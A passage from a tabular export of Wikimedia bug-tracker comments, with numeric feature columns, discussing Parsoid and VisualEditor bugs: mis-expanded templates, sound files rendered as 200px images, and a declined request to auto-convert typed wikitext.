--------------------------
**Version**: unspecified
**Severity**: major"
244483,VisualEditor: Templates (incorrectly) expanded,"I changed the Contradict-inline template and that fixes this problem.

https://en.wikipedia.org/w/index.php?title=Template%3AContradict-inline&diff=560522227&oldid=471439681",,,1371596252,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-nbmggedatdejjopgumhd,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"I changed the Contradict-inline template and that fixes this problem.

URL"
244480,VisualEditor: Templates (incorrectly) expanded,"This amounts to accepting <span title=""""foo"""">bar</span> as a valid span-tag. Ugh! The PHP parser seems to accept this quite fine.  Parsoid would have to perform the same magic.

See http://en.wikipedia.org/w/index.php?title=Wikipedia:Sandbox&oldid=560521020

Hover over the two foos and see the difference. PHP parser drops the title attribute 'bar' on the first foo since it is ofcourse a bug.

Seems like a reasonable fix the Fix templat -- but I assume Fix is used in a lot of places and fixing the callers would be a lot of work ... so, we may need some ugly hack in Parsoid to support this.",,,1371595653,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-nbmggedatdejjopgumhd,task_subcomment,,True,c1,2,True,,,-2,,1.0,0.0,0.0,1.0,0.0,5.0,1.5,0.0,0.0,0.0,2.0,1.5,0.0,0.0,0.0,1.5,0.0,1.5,9.5,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,5.0,3.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,14.0,1.5,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.5,9.0,1.0,2.0,12.0,0.0,0.0,0.5,0.0,5.0,0.5,0.5,0.0,2.5,9.5,5.5,0.0,1.5,0.0,2.5,0.0,0.0,4.0,0.0,1.5,0.0,0.0,1.0,3.664085330216248,0.8034774985388662,"This amounts to accepting <span title=""""foo"""">bar</span> as a valid span-tag. Ugh! The PHP parser seems to accept this quite fine.  Parsoid would have to perform the same magic.

See URL

Hover over the two foos and see the difference. PHP parser drops the title attribute 'bar' on the first foo since it is ofcourse a bug.

Seems like a reasonable fix the Fix templat -- but I assume Fix is used in a lot of places and fixing the callers would be a lot of work ... so, we may need some ugly hack in Parsoid to support this."
244475,VisualEditor: Templates (incorrectly) expanded,"Reduced test case: {{Fix|text=foo|title=""bar""}}

It is the quotes around ""baz"" that trips up Parsoid (probably the tokenizer).  Investigating more.",,,1371595194,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-nbmggedatdejjopgumhd,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,14.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,0.0,9.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,3.7142857142857144,0.8285714285714286,"Reduced test case: {{Fix|text=foo|title=""bar""}}

It is the quotes around ""baz"" that trips up Parsoid (probably the tokenizer).  Investigating more."
244469,VisualEditor: Templates (incorrectly) expanded,This is actually [[Template:Contradict-inline]] that appears broken in Parsoid - see http://parsoid.wmflabs.org/en/Template:Contradict-inline - shunting over.,,,1371513710,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nbmggedatdejjopgumhd,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,8.0,3.7916666666666665,0.8333333333333334,This is actually [[Template:Contradict-inline]] that appears broken in Parsoid - see URL - shunting over.
51689,"Parsoid provides 200px-width default for sound files, rather than the sound icon at standard size","See https://en.wikipedia.org/wiki/Hermann_M%C3%BCller_%28politician%29 for example; found in Chrome 27 on a Mac. In Safari 6.0.5 it displays differently (a large space appears, rather than a missing icon signifier) but is still broken. Not replicatable in Firefox 21.0/Windows 7.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: http://parsoid.wmflabs.org/en/Hermann%20M%C3%BCller%20(politician)",High,80.0,1371469740,1489187347.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-d53fjwjfjlwbqoq4e52t,task_description,duplicate,True,c1,2,False,False,False,-2,,0.0,0.0,0.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,18.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,1.0,8.0,7.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,3.6666666666666665,0.6944444444444444,"See URL for example; found in Chrome 27 on a Mac. In Safari 6.0.5 it displays differently (a large space appears, rather than a missing icon signifier) but is still broken. Not replicatable in Firefox 21.0/Windows 7.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
244434,"Parsoid provides 200px-width default for sound files, rather than the sound icon at standard size","The original bug was rendering of [[:Media:Hermann Müller.ogg]].

The rendering of [[File:Hermann Müller.ogg]]/[[File:La_Marseillaise.ogg]] is a different problem, as that renders as a player in source editor.  There are some underlying problems in Parsiod and even the mw API if I am understanding bug 49896 correctly.",,,1374915779,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-d53fjwjfjlwbqoq4e52t,task_subcomment,,True,c1,3,False,,,3,,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,2.0,2.0,2.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,20.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,11.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,8.0,4.246153846153846,0.7384615384615385,"The original bug was rendering of [[:Media:Hermann Müller.ogg]].

The rendering of [[File:Hermann Müller.ogg]]/[[File:La_Marseillaise.ogg]] is a different problem, as that renders as a player in source editor.  There are some underlying problems in Parsiod and even the mw API if I am understanding bug 49896 correctly."
244427,"Parsoid provides 200px-width default for sound files, rather than the sound icon at standard size","Seems to me, this is still buggy !

Have tried the following code at http://parsoid.wmflabs.org/_rtform/:
[[File:La_Marseillaise.ogg]]

This gives:
<img resource=""./File:La_Marseillaise.ogg"" src=""//upload.wikimedia.org/wikipedia/commons/3/30/La_Marseillaise.ogg"" data-parsoid=""{&quot;a&quot;:{&quot;resource&quot;:&quot;./File:La_Marseillaise.ogg&quot;},&quot;sa&quot;:{&quot;resource&quot;:&quot;File:La_Marseillaise.ogg&quot;}}"" width=""200"">",,,1373452147,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-d53fjwjfjlwbqoq4e52t,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,17.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,16.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,7.0,6.758620689655173,0.7241379310344828,"Seems to me, this is still buggy !

Have tried the following code at URL
[[File:La_Marseillaise.ogg]]

This gives:
<img resource=""./File:La_Marseillaise.ogg"" src=""//upload.wikimedia.org/wikipedia/commons/3/30/La_Marseillaise.ogg"" data-parsoid=""{&quot;a&quot;:{&quot;resource&quot;:&quot;./File:La_Marseillaise.ogg&quot;},&quot;sa&quot;:{&quot;resource&quot;:&quot;File:La_Marseillaise.ogg&quot;}}"" width=""200"">"
244419,"Parsoid provides 200px-width default for sound files, rather than the sound icon at standard size",[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934039,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-d53fjwjfjlwbqoq4e52t,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
244411,"Parsoid provides 200px-width default for sound files, rather than the sound icon at standard size",This is now fixed in production for Parsoid (and so for VisualEditor). Sorry for the bug!,,,1371519787,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-d53fjwjfjlwbqoq4e52t,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,20.0,0.0,5.0,10.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7,0.9,This is now fixed in production for Parsoid (and so for VisualEditor). Sorry for the bug!
244404,"Parsoid provides 200px-width default for sound files, rather than the sound icon at standard size","It's inserting a thumbnail image at fixed 200px width.

<img resource=""./File:Hermann_Müller.ogg"" src=""http://upload.wikimedia.org/wikipedia/commons/d/d3/Hermann_M%C3%BCller.ogg"" width=""200"" data-parsoid=""{&quot;a&quot;:{&quot;resource&quot;:&quot;./File:Hermann_Müller.ogg&quot;},&quot;sa&quot;:{&quot;resource&quot;:&quot;:File:Hermann Müller.ogg&quot;}}"">",,,1371475842,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-d53fjwjfjlwbqoq4e52t,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,18.0,0.0,9.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,8.029411764705882,0.8529411764705882,"It's inserting a thumbnail image at fixed 200px width.

<img resource=""./File:Hermann_Müller.ogg"" src=""URL width=""200"" data-parsoid=""{&quot;a&quot;:{&quot;resource&quot;:&quot;./File:Hermann_Müller.ogg&quot;},&quot;sa&quot;:{&quot;resource&quot;:&quot;:File:Hermann Müller.ogg&quot;}}"">"
51686,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"Bug title may be a bit confusing; essentially, a user has suggested that the VE auto-convert wikimarkup entered ''into'' the VE, on save. The use case is users who keep typing [[link]], basically.

My feelings on this are mixed; I think it's perfectly possible that this would be useful, but it sounds like a ton of work and it's also perfectly possible that, once we go live, muscle memory will adapt and there'll be no point to this. For now, sticking it in as a potential future enhancement.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49820
https://bugzilla.wikimedia.org/show_bug.cgi?id=51899
https://bugzilla.wikimedia.org/show_bug.cgi?id=47779",High,80.0,1371468300,1377819704.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-gmfhmaeyushutcy45y6x,task_description,declined,True,c1,2,False,False,True,-2,,0.0,0.0,1.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.5,1.5,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,2.0,0.0,5.5,1.0,2.5,0.5,0.0,0.0,0.0,1.0,0.5,0.5,0.0,1.5,3.0,0.0,1.0,0.0,0.0,0.5,11.0,1.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,3.5,2.5,8.5,2.5,2.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,8.0,3.0,0.0,0.0,0.0,4.0,0.0,0.5,2.0,0.0,1.0,0.0,0.0,1.5,3.5170281582952816,0.7030060882800608,"Bug title may be a bit confusing; essentially, a user has suggested that the VE auto-convert wikimarkup entered ''into'' the VE, on save. The use case is users who keep typing [[link]], basically.

My feelings on this are mixed; I think it's perfectly possible that this would be useful, but it sounds like a ton of work and it's also perfectly possible that, once we go live, muscle memory will adapt and there'll be no point to this. For now, sticking it in as a potential future enhancement.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL
URL"
244249,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to Amalthea from comment #40)
> I really don't get why you're fighting this so hard.

It should be obvious by now that VE's development has been made an ideological matter. This feature request involves some degree of the ""old way"" of doing things, thus is forbidden.",,,1400618098,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,46,,2.0,0.0,0.0,4.0,0.0,6.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,12.0,2.0,0.0,8.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,14.0,4.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.84,0.94,"(In reply to Amalthea from comment #40)
QUOTE

It should be obvious by now that VE's development has been made an ideological matter. This feature request involves some degree of the ""old way"" of doing things, thus is forbidden."
244245,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"I'll clarify that ""it shouldn't happen"" means just that it is not useful/desirable to have it IMHO, or at least I can't think of a situation where it would be.",,,1380723401,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,8.0,8.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,0.0,13.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,3.0,5.0,8.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,15.0,13.0,3.0,0.0,5.0,0.0,15.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.3333333333333335,0.8205128205128205,"I'll clarify that ""it shouldn't happen"" means just that it is not useful/desirable to have it IMHO, or at least I can't think of a situation where it would be."
244242,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"48891 and 53974 cover that specific problem. The wikimarkup warning is just a warning, it does not stop you from doing anything. 
As for [[[[this situation]]]], of course it shouldn't happen. I can't recall the bug number though, right now, and since a quick search did not seem successful, I'll come back on that later.",,,1380722782,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,13,,0.0,1.0,0.0,0.0,5.0,4.0,1.0,0.0,1.0,0.0,1.0,4.0,0.0,0.0,0.0,3.0,0.0,13.0,8.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,4.0,1.0,3.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,5.0,1.0,3.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,7.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,5.0,3.5,0.7236842105263158,"48891 and 53974 cover that specific problem. The wikimarkup warning is just a warning, it does not stop you from doing anything. 
As for [[[[this situation]]]], of course it shouldn't happen. I can't recall the bug number though, right now, and since a quick search did not seem successful, I'll come back on that later."
244238,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"**Wikifram** wrote:

What I mean is that you start with wikimarkup visible in the VE editing mode. When you add something (''not'' wikimarkup) inside such wikimarkup, you get the wikimarkup notice at the top right; but on saving, the existing wikimarkup remains. [https://www.mediawiki.org/w/index.php?title=User%3AElitre_%28WMF%29%2FSandboxVE&diff=794444&oldid=794415]

So my questions are; why is the existing wikimarkup accepted and displayed here, why is it recognised by the wikimarkup detection error, but why is it then not changed on saving? 

This behaviour may give a clue as to how wikimarkup can be accepted in VE after all (but then again, perhaps not), but it certainly is baffling me.",,,1380722209,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,13,,1.0,0.5,0.0,1.5,2.0,1.5,1.5,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,12.5,7.0,0.5,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.5,1.5,0.0,0.0,6.5,3.5,2.5,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,1.0,0.0,0.0,0.0,0.0,9.5,0.0,1.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,5.0,5.0,4.0,3.5,5.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,5.5,7.0,2.0,1.0,0.0,0.0,5.5,0.0,4.0,1.0,1.0,3.5,0.0,0.0,0.5,3.8611778846153846,0.7286057692307693,"**Wikifram** wrote:

What I mean is that you start with wikimarkup visible in the VE editing mode. When you add something (''not'' wikimarkup) inside such wikimarkup, you get the wikimarkup notice at the top right; but on saving, the existing wikimarkup remains. [URL

So my questions are; why is the existing wikimarkup accepted and displayed here, why is it recognised by the wikimarkup detection error, but why is it then not changed on saving? 

This behaviour may give a clue as to how wikimarkup can be accepted in VE after all (but then again, perhaps not), but it certainly is baffling me."
244232,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"Hi there, I don't think I see your VEdit there. I did https://www.mediawiki.org/w/index.php?title=User%3AElitre_%28WMF%29%2FSandboxVE&diff=794415&oldid=794413 and https://en.wikipedia.org/w/index.php?title=User%3AElitre_%28WMF%29%2FSandbox&diff=575429594&oldid=575429509 instead, nowikis are added as the only expected outcome. Which conversion should have happened when VEditing? Thanks.",,,1380717126,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,3.0,0.0,8.0,0.0,13.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,8.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,26.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,10.0,3.0,5.0,3.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8974358974358974,0.8205128205128205,"Hi there, I don't think I see your VEdit there. I did URL and URL instead, nowikis are added as the only expected outcome. Which conversion should have happened when VEditing? Thanks."
244227,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"**Wikifram** wrote:

Can someone explain why [https://www.mediawiki.org/wiki/Communication?veaction=edit this page] seems to accept wikitext markup, even in VE mode? On saving, it gives the ""nowiki"" warning, but it doesn't actually convert the existing ""[["" and ""]]"" into wikitext. A very strange page in VE mode, that one.",,,1380715761,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,13,,0.0,1.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,3.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,10.0,1.0,3.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,7.0,6.0,1.0,9.0,0.0,3.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,6.0,3.2,0.6714285714285714,"**Wikifram** wrote:

Can someone explain why [URL this page] seems to accept wikitext markup, even in VE mode? On saving, it gives the ""nowiki"" warning, but it doesn't actually convert the existing ""[["" and ""]]"" into wikitext. A very strange page in VE mode, that one."
244225,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"**Amalthea.wikimedia** wrote:

(In reply to comment #39)
> [...] this bug is - by definition of the product - a WONTFIX.

James, this is simply not true. See comment #36 about auto formatting logic in other visual word processors.
I really don't get why you're fighting this so hard.",,,1377849879,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,2.0,2.0,13.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,2.0,0.0,4.0,0.0,0.0,0.0,4.0,5.0,0.0,4.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.5272727272727273,0.8181818181818182,"**Amalthea.wikimedia** wrote:

(In reply to comment #39)
QUOTE

James, this is simply not true. See comment #36 about auto formatting logic in other visual word processors.
I really don't get why you're fighting this so hard."
244222,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #10)
> Marking as WONTFIX per my earlier comments and Erik's.

… again. Bug 51897 is indeed different; my apologies for merging it based on my reading of the bug as filed. However, this bug is - by definition of the product - a WONTFIX.",,,1377819704,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,10.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,6.0,16.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.38,0.84,"(In reply to comment #10)
QUOTE

… again. Bug 51897 is indeed different; my apologies for merging it based on my reading of the bug as filed. However, this bug is - by definition of the product - a WONTFIX."
244220,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"user John Broughton at en.wp comments:
